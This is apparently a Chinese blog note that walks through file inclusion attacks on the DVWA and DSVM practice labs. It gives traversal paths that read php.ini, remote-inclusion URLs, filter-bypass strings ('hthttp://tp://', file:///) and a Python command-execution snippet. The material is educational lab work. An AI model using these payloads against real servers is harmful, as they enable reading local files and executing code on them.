文件包含-筆記
阿新 • • 發佈:2017-05-21
本地文件 dsv 區別 eww output php ads -a 系統 以PHP為例 就可以使用 include require 來進行文件包含操作。目的是引用其他的文件、代碼。
當文件包含函數的參數用戶可控是可以引用惡意代碼。
DVWA_1.9此漏洞模塊需要開啟 allow_url_include功能。
PHPstudy開啟功能位置:其他選項菜單-php擴展及設置-參數開關設置-allow_url_include勾選即可。
觀察網頁發現幾個file1.php file2.php file3.php的URL區別僅為 page後跟的參數不同。
通過使用test.php 嘗試後報錯。可以發現服務器嘗試查找test.php文件,此參數可控。另外報錯爆出此頁面的絕對路徑。
LOW
使用 ../../php.ini 讀取文件內容
使用 ../../phpinfo.php 執行相應php代碼
使用 http://127.0.0.1/phpinfo.txt 執行遠程代碼文件
非php文件內包含php代碼也可以執行
使用 http://127.0.0.1/phpinfo.php 代碼在攻擊者的web服務器上執行了 與我們的期望不服,所以
使用 http://127.0.0.1/phpinfo.txt才能達到我們想要的執行遠程代碼文件的目的。
medium.
..\..\php.ini 讀取文件內容
hthttp://tp://127.0.0.1/phpinfo.txt 執行遠程代碼文件
high
發現 page只接受file開頭的字符串作為參數。
使用file://本地文件傳送協議即可繞過 讀取本地文件
file:///C:\phpStudy\WWW\phpinfo.txt
由於file://無法讀取遠程文件所以需要配合文件上傳漏洞來執行惡意代碼
DSVM
註意DSVM系統是python編寫的,遠程文件包含的代碼也必須是python的,不熟悉python代碼的同學可以使用下面的示例:
import os
output = os.popen(‘ipconfig‘)
print output.read()
將其命名成cmd.txt
文件包含-筆記